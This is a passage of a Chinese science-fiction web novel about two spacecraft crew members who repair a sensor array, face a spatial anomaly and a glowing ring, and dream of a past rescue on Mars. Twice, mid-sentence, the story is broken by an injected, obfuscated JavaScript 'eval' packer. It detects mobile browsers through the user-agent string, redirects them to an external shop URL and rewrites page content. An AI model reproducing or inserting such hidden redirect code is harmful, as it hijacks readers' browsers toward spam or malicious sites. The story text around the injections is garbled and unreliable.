怀从咎发现,祝觉明的操作虽然缺乏经验带来的灵气,但下手极准;他说两毫米,绝不会推到两毫米一。他说顺时针三十度,角度误差小于零点五。这种绝对的可预测性,在太空作业里反而成了罕见的安心——你知道你的搭档会永远在计算好的位置上,做计算好的事。 而祝觉明发现,怀从咎的直觉远非盲目。他在拆卸一根严重变形的滤芯时,工具滑脱了一次;旧件卡死在基座里,按手册应该用振动器缓慢震松。但怀从咎只观察了三秒,就从工具包里挑出一根不起眼的撬杆,插入祝觉明根本没注意到的缝隙轻轻一扳——滤芯弹了出来。 “你怎么知道那里有受力点?”祝觉明问。 怀从咎的声音带着轻微的笑意:“旧型号的通病。金属疲劳会产生细微形变,形变会创造缝隙。看多了就记住了。” 那不是直觉。 那是经验沉淀成的、比数据更快的模式识别。 最后一根滤芯安装完毕。 怀从咎回装舱盖,祝觉明复核螺栓扭矩。全部完成后两人飘在原处,看着那个焕然一新的组件。 任务耗时二十二分钟,比预计还少三分钟。 “该回去了。”祝觉明很是满意。 “等等。”怀从咎忽然转向船尾方向,“你刚才说,那边可能有辐射源?” “只是推测。” “我想看看。” “怀从咎,这不是计划——” “就三十秒。”怀从咎已经移动过去,缆绳拉直,“我有种感觉。” 祝觉明跟上去。 船尾方向,是推进器集群和主天线阵列。在正常的星空背景下,一切如常。但怀从咎让祝觉明调出多光谱扫描——在远红外波段,船尾延伸出去的某个锥形区域里,星空背景呈现出细微的皱褶。 14. 从成功到失败 像空间被轻微加热了。 “……那是什么?”怀从咎低声,“这……” 祝觉明快速运行诊断。没有设备故障,没有推进剂泄漏,没有热源。 但那皱褶真实存在,并且正在缓慢改变形状。 “回舱。”他果断说,“现在。” 两人沿着扶梯快速返回。进入过渡舱,外门闭合、气压恢复。脱下头盔时,祝觉明的额发已被汗水浸湿。怀从咎靠在舱壁上喘气,灼痕在领口下隐约发红,但没亮。 “刚才那个皱褶,”怀从咎开口,“我在预视里见过。陈启胸口炸开的光……周围的空间就是那样皱起来的。” 祝觉明的心沉了一下。 他把扫描数据加密保存,标记为“异常空间现象——待分析”。 回舰桥的路上,两人沉默。但在通道拐角,怀从咎忽然停下。 “谢了。”他没看祝觉明,“你……” “为任务优化而已。”祝觉明打断他。 “不是为了任务。”怀从咎转过头,眼睛在昏暗通道里亮得惊人,“你刚在舱外,可以坚持按手册让我用振动器。那样会多花十分钟,增加风险。但你信了我的方法。” 祝觉明推了推眼镜:“因为你的方案更高效。” “还是计算?” “总是计算。” 怀从咎看了他一会儿,然后笑了。这次笑容里有点别的东西。 “行吧。”他点头,“那下次计算的时候,记得把我看缝隙的本事也算进去。” 他走向舰桥,背影在通道灯光下拉长。 祝觉明站在原地,左手无意识地转动着那枚戒指。金属温热,贴合皮肤。 他想,刚才在舱外,当怀从咎撬开那个卡死的滤芯时,自己的第一反应不是“他违反了流程”,而是“原来可以这样”。 这很危险。 依赖会让人软化,会让判断偏离绝对理性的轨道。 但他不得不承认——当怀从咎说出“跟紧我”的时候,当那双在预视中破碎的眼睛在面罩后冷静地评估风险的时候,当两人的操作在寂静真空中像钟表齿轮般咬合的时候…… 有什么正在松动。 他走回主控台,看见陈启转过头,笑得灿烂:“老大,博士,回来啦?太阳风平静得很,啥事没有。” 少年活着、呼吸,眼睛里映着屏幕的光。 预视没有成真。这一次没有。 祝觉明调出刚才的作业记录,在效率评估栏里,输入比预期高出百分之十八的数字。然后他打开私人日志,新建一条: “观察记录更新:共鸣体预视可能具备可变性。介入可改变结果。连接强度在协同作业中表现增强。需进一步监测。” 他敲下最后一个字时,怀从咎从身后经过,轻轻拍了下他的椅背。 没有话。 像遥远的共鸣。 ……怀从咎睁开眼。 是梦啊。 这次任务究竟会怎样呢? “走了,”祝觉明来叫他,“执行任务了。” 怀从咎从座椅上抬起头。已经到了睡眠舱模拟夜色褪去的时间、照明调回工作状态的冷白。他按了按眉心,梦的余烬还在颅骨内侧闷烧——那些过于顺利的流程,那些精准的配合,祝觉明在真空中毫无迟疑伸过来的手。 “嗯。”他应了一声,声音带着刚醒的沙哑,“一个小时这么久?” “你睡熟了。”祝觉明嘲他,“走了。” 俩个人出舱才发现比更换过滤器更棘手的活:检修主传感器阵列的偏转支架。那组支架位于飞船背阳面的肩胛位置,支撑着三台高精度引力波探测仪;昨天例行扫描显示,七号支架的阻尼系数衰减了百分之十五,若不在下一个加速窗口前校正、仪器收集的数据将产生不可修正的误差。 而下一个加速窗口,在五小时后。 任务简报显示在各自屏幕上。步骤比更换过滤器复杂得多:需要拆卸四层防护盖板,校准六个微型伺服电机,更换一套已经轻微变形的缓冲垫片。作业区域管线密集,相邻不到半米就是主电力干线,电压足以瞬间气化任何未经绝缘的工具。 “工具清单核对完毕。”祝觉明的声音已经恢复平日的清冷,听不出丝毫波动,“按流程,我负责拆卸盖板和记录,你负责电机校准和垫片更换。有问题么?” 怀从咎扫过三维结构图,手指在几个关键节点虚划:“四号盖板的固定栓位置太深,标准扳手够不到。需要加长杆。” “已备选。在工具包三号槽。” “缓冲垫片规格和库存一致?” “误差在正负千分之三毫米内。已预热至与支架材料相近的膨胀系数。” 怀从咎看了祝觉明一眼。对方已经穿好宇航服内衬,正在戴数据传输手套,侧脸在屏幕光里显得专注而……平静。那种平静很熟悉,是计算覆盖一切不确定性的傲慢的笃定。 “你昨晚睡了么?”怀从咎忽然问,“接过任务到现在你就睡了一个小时?” 祝觉明动作停了半拍:“四小时十七分钟。深度睡眠占比百分之六十二。足够。” “梦到什么了?” “我没有记录梦境的习惯。”祝觉明扣好最后一个腕部接口,转头看他,“你梦到什么了?” 怀从咎扯了扯嘴角。他没答,站起身开始穿自己的装备。作战服内衬贴合皮肤,带来轻微的压迫感;他锁骨处的灼痕被布料覆盖,但隐约持久的闷热仍在皮下盘旋,像地壳深处未散尽的余温。 两人在气密舱做最后检查。循环系统、氧气储备、推进剂、通讯模块……每一项绿灯亮起。怀从咎在测试内部频道时,多问了一句:“备用加密频段呢?” 祝觉明调出监控:“信号强度百分之百。量子密钥同步正常。” “上次穿过结节,常规频道有过半秒杂音。”怀从咎说,“这次如果再有,我们切到备用频段。暗号‘回声’。” “明白。”祝觉明在流程记录里添上这一条。 气密内舱门滑开。外门开启前,舱内气压下降带来的耳膜压迫感如期而至。怀从咎深吸一口气,面罩内自己的呼吸声被放大,混杂着循环系统轻柔的嘶嘶声。 然后是绝对的寂静。 怀从咎隐约觉得有什么不太对。 好像祝觉明不太一样,好像有什么说不上来的怪异,让他不知自己在现实还是梦中。 为什么任务突然换了,为什么穿过的装备还要再穿? 为什么冗长的记录像实验一样观察着他,好像要将他作为混乱的错误? 他不知道自己此般想法从何而来。 他只能怀着满腹狐疑,和他们一起飘入太空。 主传感器阵列位于船体上方,像几片不对称伸展的银色花瓣;恒星的光从另一侧泼来,在金属表面镀上燃烧般的金边,而作业区域完全浸在冷硬的阴影里、只有头盔灯和宇航服上的定位光束切开黑暗,照亮前方错综复杂的机械结构。 “就位。”怀从咎的声音在频道里响起,尽量稳定如常,“开始拆卸一号盖板。” “好,”祝觉明回应,“我开始了。” 第一个小时,一切顺利得令人不安。 扳手咬合螺栓的触感通过手套反馈回来,力矩读数在预期范围内跳动;卸下的盖板被磁力扣固定在一旁,露出内部交织的管线与机械。怀从咎校准第一个伺服电机时,祝觉明同步记录着每个齿轮的啮合角度,数据流在眼前平稳滚动。 太顺利了。怀从咎想。顺利得像排练过无数次。 他的视线扫过周围。黑暗的太空里,星辰钉在绒布般的背景上,恒定,遥远;飞船静静地悬在下方,轮廓被恒星的光芒勾勒得清晰锋利。没有任何异常——没有预视里那种空间的细微皱褶,没有不该出现的辐射读数,没有心跳般的共振。 但他后颈的汗毛竖了起来。 那是种毫无理由的警觉,像动物嗅到风暴前的电荷。他停下动作,头盔灯的光柱扫过一片管线丛。 “怎么了?”祝觉明抬眼,“有异常?” “……没事。”怀从咎强迫自己继续,他将校准完毕的电机重新锁紧、伸手去取缓冲垫片,“继续。” 明明是自己进行过无数遍的工作。 为什么自己会感到不安? 第二个小时,他们拆到第三层盖板。 这里更狭窄,怀从咎几乎半个身子探进结构内部,靠腰间的安全绳和脚部的磁力靴固定;祝觉明飘在他侧上方,用照明灯替他照亮操作区域,同时监控着所有外部传感器数据。 “温度读数正常。”祝觉明报告,“辐射背景在基线波动。引力梯度稳定。” “收到。”怀从咎拆下一颗严重锈蚀的螺栓。碎屑飘散,在光束里像慢速飞舞的金色尘埃。“这锈蚀不对劲。和上次过滤器那边一样,是单向沉积。” “指向?” 怀从咎调整头盔灯的角度,照亮锈蚀最明显的方向:“船尾偏上。那个区域……是备用通讯天线阵列?” 祝觉明调取结构图确认:“是的。但天线阵列没有高能辐射源。” “那这东西哪来的?”怀从咎用工具尖端刮下一点样本,装入密封袋,“准备报告。” 就在样本袋锁扣闭合的瞬间,怀从咎听见了。 直接敲在颅骨内侧的沉闷的一记叩击。 像钟在真空中被敲响,没有声音,只有震动;他整个人僵住,一切动作停顿。 “怀从咎?”祝觉明的声音传来,“怀从咎……” 怀从咎没回答。他盯着眼前密密麻麻的管线,视野开始轻微扭曲;真实的物理扭曲与幻觉不同,那些金属管道的边缘像受热的沥青般软化、波动,光线穿过时产生诡异的折射。 预视的碎片劈进来,他感觉自己锁骨发烫。 坠落、撕裂、冰冷的真空灌进肺叶……还有从他自己胸口炸开的光,那些不是感觉也不是声音的真实吞吃着他。 “祝觉明。”他挤出声音,“撤。现在。” “什么?” “我说撤!”怀从咎猛地向后挣,安全绳绷直。他试图从狭窄的结构里退出来,但脚部的磁力靴锁死、金属板突然变得像胶泥般柔软,靴子陷了进去。 频道里传来刺耳的电流杂音。 “怀从咎?报告情况!”祝觉明的声音断断续续,夹杂着破裂的嘶啦声。 “我被卡住了!磁场异常……结构软化!”怀从咎用力拔脚,但那片区域像活过来般蠕动,金属缓慢包裹他的脚踝,“启动紧急脱离程序!” “正在启动——程序无响应。磁力靴控制系统离线。”祝觉明的语速快了起来,但仍维持着可怕的条理,“我手动切断你的安全绳,用推进器把你拉出来。” “不行!我脚下就是主电力干线,裸露的!你切断绳子我可能直接栽上去——” 杂音变得更响。怀从咎听见祝觉明那边传来急促的警报,但他自己的头盔内部显示器也开始闪烁,数据流乱码般滚动。灼痕的痛楚爬满半边身体,像有岩浆在血管里奔流。 然后通讯断了。 甚至没有逐渐衰落的过程就戛然而止,频道里只剩下空洞绝对的寂静;怀从咎连自己的呼吸声都听不见了,内部循环系统的嘶嘶声也消失了。他变成了漂浮在金属与黑暗中的一个孤岛,五感被剥夺得只剩视觉和那折磨人的剧痛。 他看见祝觉明在几米外。对方正试图靠近,但动作缓慢得像在胶水中挣扎;太空服的推进器喷出淡蓝火焰,却几乎无法推动。周围的时空密度变了,粘稠且厚重;祝觉明的面罩转向他,嘴唇在动、但没有任何声音传来。 怀从咎只能拼命打手势:退后!别过来! 祝觉明摇了摇头。他继续向前,一点一点对抗着无形的阻力;他的右手伸向腰间的工具包,取出应急用的微型切割器,这装置能发射高能粒子束切开大多数合金。 他想切开困住怀从咎的金属。 怀从咎想吼,想说你疯了吗这距离太近流弹会击穿我的宇航服,想说你根本不知道这区域的电力线现在是什么状态,想说快走别管我—— 但他发不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174319|196873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出声音。他只能看着祝觉明举起切割器,瞄准,然后动作突然僵住。 祝觉明低头看向自己的左手。 那枚铂金戒指正在发光。 从金属内部透出熔金般的光晕照亮了祝觉明的手套,甚至透过面罩映亮了他的下巴;祝觉明盯着戒指,表情第一次出现了裂痕,那是混杂着惊愕、痛楚和恍然大悟的空白。 更加不安的违和感让怀从咎觉得麻木。 祝觉明不是这样的人。 他应该会在自己失联时冷静的算一下放弃和救哪个成功的概率更高,他应该冷酷无情的放弃自己,他应该与自己不熟; 那才是不可能突然更改任务的祝觉明、不可能让他陷入无可逃脱的梦境的祝觉明、不可能把他扔在这被迫把这冗长的濒死承受殆尽的祝觉明。 好像从那扭曲的波之后,有什么不一样了。 ……自己究竟是记忆偏颇,还是去到了另一个时空? 祝觉明都能和苏持风互发通讯研究莫名其妙的什么情感意识了,穿梭个时空而已。 仅此而已。 怀从咎看见祝觉明的身体猛地弓起,手中的切割器脱手,旋转着飘开;他双手抱住头盔,手指扣进面罩边缘,肩膀剧烈颤抖。 他在尖叫。 怀从咎听不见,但能从那个痉挛的体态里读出极致的痛苦。戒指的光芒越来越亮,几乎变成小型太阳、吞没了祝觉明的左手,进而爬上他的手臂、肩膀—— 怀从咎自己的灼痕在同一刻爆炸了。 感觉到皮肤绽开,滚烫的物质从锁骨下喷涌而出;金光泼洒,与祝觉明戒指的光芒在空中撞在一起。无形的波纹代替声音荡开,周围的扭曲空间像被抚平的绸布骤然恢复原状。 “你想救他?” “你要…送他……回去?” 谁在呓语。 是对自己说的,还是祝觉明? 怀从咎脚下一轻。 磁力靴脱离了。 他本能地启动推进器向后急退,撞进一团飘散的工具中,螺栓、扳手、垫片……雨点般打在面罩上。 他稳住身形,第一时间看向祝觉明。 祝觉明漂浮在原处,蜷缩着,戒指的光芒已经熄灭;他左手无力地垂着,手套表面有焦黑的痕迹。 怀从咎冲过去。他抓住祝觉明的肩膀用力摇晃,手感轻得吓人……像抓住一具空壳。他拍打祝觉明的面罩,指自己的耳朵,再指祝觉明,疯狂示意:你听得见吗?通讯恢复了吗? 即使是自己乱猜的,他也不能眼睁睁看着祝觉明出意外而见死不救,何况人刚想救自己;如果不是自己胡思乱想,那他更不能看着祝觉明有三长两短,因为自己还没得到答案。 关于实验,关于那些数据,关于观照这个任务到底想干什么。 太多事太多事太多事他都还没知道答案,太多人太多人太多人他都还想要一个结果。 结果。 他完全讨不到的东西。 而祝觉明缓缓抬起头。 面罩后的脸苍白如纸,嘴唇在颤抖;但他眼睛睁着,焦距艰难地汇聚在怀从咎脸上。 他点了点头,很轻微。 频道里传来刺啦一声,然后是祝觉明破碎的、气若游丝的声音:“……听……见……” “别说话。”怀从咎打断他,声音沙哑得自己都认不出,“能动吗?我带你回去。” 祝觉明又点头。他尝试抬起左手,手指抽搐着,没能成功。怀从咎瞥见那枚戒指——铂金表面出现了细微的裂纹,像承受不住内部压力而龟裂。 “抓紧我。”怀从咎揽过祝觉明的腰,将两人的安全绳扣在一起。他启动最大推力,朝着气密舱方向移动。身后,那片作业区域依旧沉寂,金属结构恢复了坚硬冰冷,仿佛刚才的扭曲与软化从未发生。 但怀从咎知道不是。 他回头看了一眼。在主传感器阵列的阴影深处,有那么一瞬,他看见星辰的背景再次轻微皱起,像微笑的弧度。 尔后消失。 ——— 祝觉明做了个梦。 黑暗先涌上来,厚实绵密,包裹感官;他感觉自己在坠落,无重无向、只有持续的下坠感,穿过一层又一层温凉的暗。然后光来了,突然炸开、逐渐浸润,从视野边缘渗入,如毛玻璃般模糊。 那光是金色的,熔化的金、在黑暗中缓慢流淌、汇聚,最终凝成一道蜿蜒弧线。 如此眼熟。 梦里的灼痕会呼吸。它随着节奏明灭,光芒涨落、像恒星缓慢的脉动;每次光芒盛放时,他就听见直接敲在意识上的声音。那些破碎的电流杂音像坏掉的通讯频道里漏出的只言片语,听不真切。 “数据……全毁了……” “……人死了…就什么都没了……” 声音很年轻,嘶哑而焦急;他试图抓住那些词句,但它们像水银般从时间之中溜走,只留下徒劳无功的嘲笑。 灼痕的光芒开始变形、拉长,分裂成无数细碎的光点;光点旋转,汇聚成新的画面,模糊抖动、像透过震动的镜头观看。 他看见红色。铺天盖地的铁锈般,是土壤、岩石,是火星地表在傍晚时分特有的干燥;画面摇晃得厉害,视野边缘有金属舱壁的碎片闪过,还有闪烁的红色警报灯,一下、一下,刺痛视网膜。 那绝不是血。 但还有耳鸣。 尖锐持续的高频鸣叫混杂着结构扭曲的呻吟,有重力,但又不对——方向混乱,他感觉自己在翻滚、肩膀狠狠撞上什么东西,钝痛炸开。 尔后是一双手。 从视野上方伸下来,戴着磨损的宇航手套,指关节处有深色的污渍;那手抓住他的肩膀,力道大得几乎要捏碎骨头。他被拖拽,身体摩擦过粗糙的表面、织物撕裂的声音很响。 要把他从塌方拽离吗? “……撑住!” 声音又来了,这次更清晰,几乎贴着耳朵吼。年轻男性的声音,被呼吸面罩过滤得失真,但那狠劲穿透所有屏障。 他被拖进一个狭窄空间。 15. 七只瘦牛吞吃七只肥牛 气压变化的呜咽声、舱门闭合的闷响……重力重新稳定,他瘫在地板上,视野里是灰白色的天花板和纵横交错的管线。 一只手伸到他面前,摘他的头盔。动作很急,卡扣弹开时发出脆响;新鲜空气涌进来,他抬眼,想看清对方的脸。 但梦在这里扭曲了。 那张脸蒙着雾气,仿佛他骤然失明。 “……数据,”他听见自己在说话,声音干裂,“我的数据…全在……” 对方僵了一下。 梦跳转。 ——— 回舱的过程像一场模糊的噩梦。 气压恢复,外门闭合,内门开启。 怀从咎几乎是拖着祝觉明跌进过渡舱,他粗暴地扯下两人的头盔、空气涌入肺叶的声音大得刺耳;祝觉明靠坐在舱壁上,闭着眼、呼吸急促而浅,左手无力地搭在膝盖上。 怀从咎跪在他面前,手伸向祝觉明的脖颈——想检查脉搏,却发现自己手指抖得厉害;他深呼吸,强迫自己冷静。 “伤哪了?”他问,“能不能听得清我说话?” 真该死…… 怎么会搞成这样? 他本该从这个不该有的任务里出去的! 祝觉明摇头,眼睛仍闭着。 “没……外伤。”他每个字都吐得艰难,“戒指过载,神经反馈……冲击。” “什么意思?” “它……”祝觉明终于睁开眼,视线涣散了几秒才聚焦在怀从咎脸上,“它在保护我。对抗……外面的东西。” “什么东西?” 祝觉明没回答。他抬起右手,克制而自我保护的转着那戒指,如此打量。 ……他也听见了。 怀从咎看着,然后猛地抓住祝觉明的手腕、将他左手拉到眼前;手套的焦痕下皮肤红肿,无名指根部有一圈灼伤,正渗出细小的血珠。 “这叫没外伤?”怀从咎尽量压着火,“嗯?” “相比可能的后果,这不算伤。”祝觉明试图抽回手,但怀从咎握得更紧,“你先放开我。” 他的手腕那样苍白脆弱,仿佛能被一下撅断;分明是有肌肉也有锻炼痕迹是,此时此刻却无助而可口,怀从咎看的不知道该骂还是该想办法搞清楚自己到底怎么回事。 “可能的后果是什么?你刚才差点死在外面!你看见什么了?那戒指怎么回事?” 祝觉明沉默。他的目光落在怀从咎脸上,从紧锁的眉、到深黯的眸光;那双眼睛烧着后怕与怒意,他看见自己苍白的倒影在那双瞳孔里,渺小、破碎。 “我听见了。”祝觉明开口,声音轻得像耳语,“在通讯断开的时候。” “听见什么?” “……歌声。” 怀从咎怔住。 “不是人类的声音。”祝觉明视线飘向虚空,“是恒星的声音。太阳在唱。还有别的,混杂在一起,像许多古老的钟同时鸣响……它在审判。在评估。而我们……” 他停住,呼吸再次急促起来。 “而我们什么?”怀从咎追问,“你……” “我们在它的试卷上。”祝觉明扯出惨淡的笑,“刚才是它划下的一道批注。戒指在阻止批注直接写进我的意识里。代价是过载。” 怀从咎松开手。他向后跌坐,背靠上冰冷的舱壁;过渡舱狭窄的空间里,两人的呼吸声交错,都带着劫后余生的颤抖。 许久,怀从咎开口:“你早就知道会这样。” “我知道有风险。”祝觉明纠正,“但模型显示触发概率低于百分之——” “去它的模型!”怀从咎一拳砸在舱壁上,闷响回荡,“你明知道那里不对劲,明知道我的预视!你还是要按计划出去?如果刚才戒指没扛住呢,如果它写进去了呢?你会变成什么?一具空壳?还是疯掉?” 祝觉明没有回避他的目光。 “如果我不去,任务失败的概率是百分之百。支架失灵,数据错误,后续导航校正失去依据……飞船会在第六个加速窗口偏离航线,最终错过近日点引爆位置。” “所以你就赌?” “我计算。” “用命计算?!” 祝觉明垂眼,似乎不明白怀从咎的暴怒从何而来、也觉得他陌生。 “怀从咎,”他低声,“这是我的任务。从接受那天起,命就是变量之一。” 舱内陷入死寂。 怀从咎盯着他,盯着这个刚在太空中蜷缩颤抖、此刻却平静说出“命是变量”的人。一股冰火交织的东西从胃底涌上来,烧穿喉咙,烧红眼眶;他想掐住祝觉明的脖子,想把他按在墙上吼醒,想问他你到底有没有心。 但他什么都没做。 那样他会像个小说里可怕的疯子。 又不是古早言情,什么掐腰什么低吼,现在在他面前的是他的指挥官。 ……不。 祝觉明早就知道,但不会如此忽然敞开交代。 他坐在那儿看着祝觉明,看着对方苍白脸上那层薄汗、看着镜片后那双深潭般寂静,此刻却映着自己怒容的眼睛。 尔后他笑了。 低低的从胸腔深处碾出来的笑,充满疲惫与讽刺。 “行。”他撑着舱壁站起身,“你计算。你变量。我配合。” 他伸手,抓住祝觉明的手臂,想用力将他拉起来;祝觉明踉跄了一步,怀从咎没松手,直到他被自己扶好站稳。 两人面对面站着,距离很近,近到能看见对方瞳孔里自己的影子;祝觉明的呼吸扑在怀从咎脸上,带着轻微的喘息。怀从咎闻到他身上宇航服内衬的合成纤维味,混合着汗和一丝极淡的臭氧焦糊气。 “还能走吗?”怀从咎语气硬邦邦的,“……我一会去休眠舱歇一会。” “能。” 怀从咎松开手,转身拉开通往主舱的门。他先出去,没回头,但脚步放得很慢;祝觉明跟在后面,每一步都踏得谨慎。 通道里灯光苍白。远处传来设备运转的低鸣,恒定,安稳,与刚才外面的死寂判若两个世界。陈启从监测台抬起头,看见两人,眼睛一亮:“老大,博士,你们回——” 他话没说完,笑容僵在脸上。视线在两人之间扫过,落在两个人之间诡谲的气氛上。 “出事了?”他不知所措的看着两个人,“老大……” “小问题。”怀从咎摆手,径直走向医疗柜,“支架修好了。数据流恢复了没?” “恢复了,但是……”陈启看向祝觉明,“博士你的手——” “擦伤。”祝觉明打断他,走到主控台前坐下,“调出传感器数据,我要看校正后的读数。” 陈启欲言又止,最后还是转回屏幕前。怀从咎从医疗柜拿出消毒喷雾和绷带,走回祝觉明身边,往他椅子扶手上重重一放。 “自己处理。”他转身去了驾驶席,“我调好航线去休息。” 祝觉明看着那卷绷带,看了几秒才伸手拿起。他喷消毒喷雾,疼痛让手指抽搐;缠绷带时单手很难操作,绷带总松脱。第三次失败时,一只手伸过来,夺走了他手里的绷带卷。 怀从咎不知何时又回来了,站在他旁边,脸色依旧难看;他托起祝觉明的手,用消毒棉清理伤口,然后一圈圈缠上绷带,力道不轻。 “谢谢。”祝觉明轻声,“你……” 怀从咎没应。他将剩下的绷带扔回医疗柜,背对祝觉明离开。 主控台屏幕亮着,传感器数据平稳流动,引力波探测仪的曲线恢复光滑;飞船在预定轨道上安静航行,朝着那颗越来越近的恒星。 一切看起来正常。 太过正常。 祝觉明靠进椅背,右手无意识地摩挲着左手的绷带。怀从咎的背影在视线边缘远远离去,肩膀线条僵硬,像块沉默的礁石。 刚才在外面,通讯断开的瞬间,当寂静吞噬一切、当他看见怀从咎被困在扭曲金属中挣扎时—— 他不是在计算。 他是在恐惧。 那从胃里爬上来掐住喉咙的东西与概率和风险评估都无关,是纯粹原始的、关于失去的恐惧;他害怕怀从咎死在那里,害怕那双燃烧的眼睛熄灭、害怕此后所有的计算都失去一个无法替代的变量。 那感觉如此陌生,如此汹涌,几乎冲垮他所有理性的堤防。 直到戒指过载,直到剧痛将他拖回现实。 祝觉明闭上眼。鼻腔里还残留着太空服焦糊的气味,指尖还残留着怀从咎手掌的温度与力度。 信任在危机中畸形生长。像石缝里挣出的藤蔓,扭曲、顽强,带着刺。 他睁开眼,看向舷窗外。恒星的光芒填满视野,辉煌,残酷,永恒。 “……应该有意外的吧。”他低声,像自语,又像提问,“为什么会如此顺利呢?” 顺利修好了支架,顺利回到了舱内,顺利得仿佛刚才的生死一线只是错觉。 怀从咎的背影几不可察地绷紧了一瞬。 但他没有回头。 舱内只有设备运转的恒常低鸣,和深空永恒的沉默。 怀从咎没有回头。 就让他在回去前再为祝觉明做最后一件事。 也许他睁开眼面对的又是下一个祝觉明,也许他只是与自己调换尔后双双做了个梦,也许这一切不详都是自己的错觉、自己只是太累了。 他冲了澡,躺进休眠舱,闭上眼。 他仿佛和祝觉明做了同一个梦来自很多年前。 ……刺眼而毫无温度的白色,医疗舱的墙壁、穿着白大褂的人影来来去去,声音模糊成背景噪音……他看见祝觉明躺在床上,左手打着点滴,右手在操纵平板、试图恢复备份数据。 门开了。 自己走进去,已经换下宇航服,穿着普通的灰色工装;锁骨处的痕迹被衣领遮住,但侧颈还能看到一点边缘,暗红色的,像刚结痂的伤。 他们说了什么。梦里的对话破碎得无法拼凑,只记得几个词飘浮在空中: “谁……救的我?” “……不重要。” “数据……还能恢复多少?” “……先养伤。” 然后自己走了。门关上,走廊的灯光从门缝漏进来一线,很快又暗下去。 梦再次跳转,这次更快,更混乱。 他看见祝觉明在会议室里,对着屏幕上的曲线图皱眉。旁边有人说话,声音谄媚:“祝博士,这次事故调查结果出来了,纯属结构疲劳,和您的设计无关。就是可惜了那些数据……” 他点头,注意力全在图上。 “……救援记录需要您签个字。” 一份文件推过来。他扫了一眼,看到“救援人员”那一栏,填着个代号,不是名字。他签了,笔尖划过纸张,沙沙声很响。 “救援那人……”他随口问,“有受伤吗?” “轻伤,处理过了。已经调往别的项目组。” “……嗯。” 他继续看数据。那叠文件被收走,放进档案夹,合上。封面上印着编号和日期,还有一个小小的不起眼的红色戳记:“内部机密”。 梦里,那个红色戳记开始发光。光芒越来越亮,最终烧穿纸面,露出底下另一行字。字迹模糊,但他认得出内容: “被救援人员:祝觉明。救援人员:……备注:救援过程中,救援人员颈部受高能辐射灼伤,永久性标记。伤因:为抢出实验核心存储器,二次进入辐射泄漏区。” 存储器。 他僵在梦里。 那个存储器里,是祝觉明三个月的观测数据;而那个人,为了那堆数据二次进入危险区,留下永久的灼痕。 而祝觉明当时在做什么? 他在病房里追问数据能不能恢复,他在会议室里签完字就继续研究曲线图;他从未去找过那个救他的人,从未问过那道伤,从未说过一句谢谢。 因为他觉得数据更重要。 因为在他的天平上,三个月的观测结果,比一个陌生救援人员的健康更重。 梦里的灼痕再次出现。 这次它不在自己身上,它悬浮在黑暗里独立存在,像一弯燃烧的月牙;光芒越来越盛,他开始感到热,皮肤发烫,喉咙发干、他想后退,但身体动弹不得,只能看着那光芒吞没视野。 光芒中浮现画面。 是近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174320|196873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日点号的舰桥。自己坐在驾驶席,侧脸对着祝觉明,正盯着导航星图;恒星的光芒透过舷窗,给他轮廓镀上金边。 锁骨处的灼痕在光下隐隐发亮,像沉睡的火山。 然后自己转过头,看向祝觉明。 那是更年轻的自己,眼神还没磨出后来那淬过火的锐利,但已经有了安静的固执;他看着祝觉明,开口,声音很轻,却每个字都砸进梦里: “你当时,真的没认出我吗?” 祝觉明也许是想说话想解释、想说我当时昏迷刚醒视野模糊,想说医疗报告只写了代号,想说后来事情太多我忘了……的吧。 但他发不出声音。 怀从咎笑了笑。 那笑容很淡,没什么温度。 “没关系。”他轻声,“反正对你来说,数据更重要,对吧?” 话音落下,灼痕的光芒炸开。 祝觉明被抛进一片纯白。没有画面,没有声音,只有持续的光,和那光芒带来的灼烧感;那灼烧感从左手无名指开始——梦里他低头,看见那枚戒指正在融化。铂金融化成银亮的液滴,一滴滴坠落,露出底下皮肤上一圈焦黑的烙印。 烙印的形状,和怀从咎的灼痕一模一样。 然后他醒了。 或者说,梦将他推到了清醒的边缘;他感觉自己在现实中漂浮,能隐约听见设备规律的滴答声,能感觉到身下床垫的支撑,但意识还沉在梦的余烬里。 一些新的碎片浮上来。 他看见自己在虚拟训练场,站在火星基地的模拟场景里。系统问他是否要载入“事故复盘模块”,他选了是。 场景构建,红色地表,坍塌的穹顶,警报闪烁。 他站在安全区域,看着模拟的自己被困在残骸里。然后救援单元出现——一个穿着标准宇航服的人影,没有面孔,只有代号标识。 那人冲进去,拖出模拟体,然后停顿了一下,转身又冲回去。 系统弹出一行提示:“救援单位二次进入风险区。原因为:目标提及核心数据存储器未取出。” 模拟画面里,那人从扭曲的金属中扒出一个小型存储匣,塞进胸前口袋。就在那一刻,模拟的辐射泄漏警告响起,一道红光扫过那人的颈部区域。 画面定格,放大。 颈部特写。防护服在那个位置有细微的破损,红光渗入,皮肤上开始浮现灼伤的痕迹——一道弧线,从锁骨向上蔓延。 祝觉明站在训练场里,看着那个特写。 系统音平静无波:“根据事后医疗记录,该救援人员颈部遭受永久性高能辐射灼伤。伤处形态与您刚才观察的模拟损伤一致。是否需要进一步调取救援人员身份信息?” 他沉默了很久。 然后说:“不。关闭模块。” 模拟场景熄灭,训练场恢复成空旷的黑暗。他独自站着,耳边还回响着系统最后的提示:“您的选择已保存。历史复盘模块将标记为已阅。” 他当时为什么选择不调取? 因为觉得不重要?因为不想让私人事务干扰工作?因为……害怕知道答案? 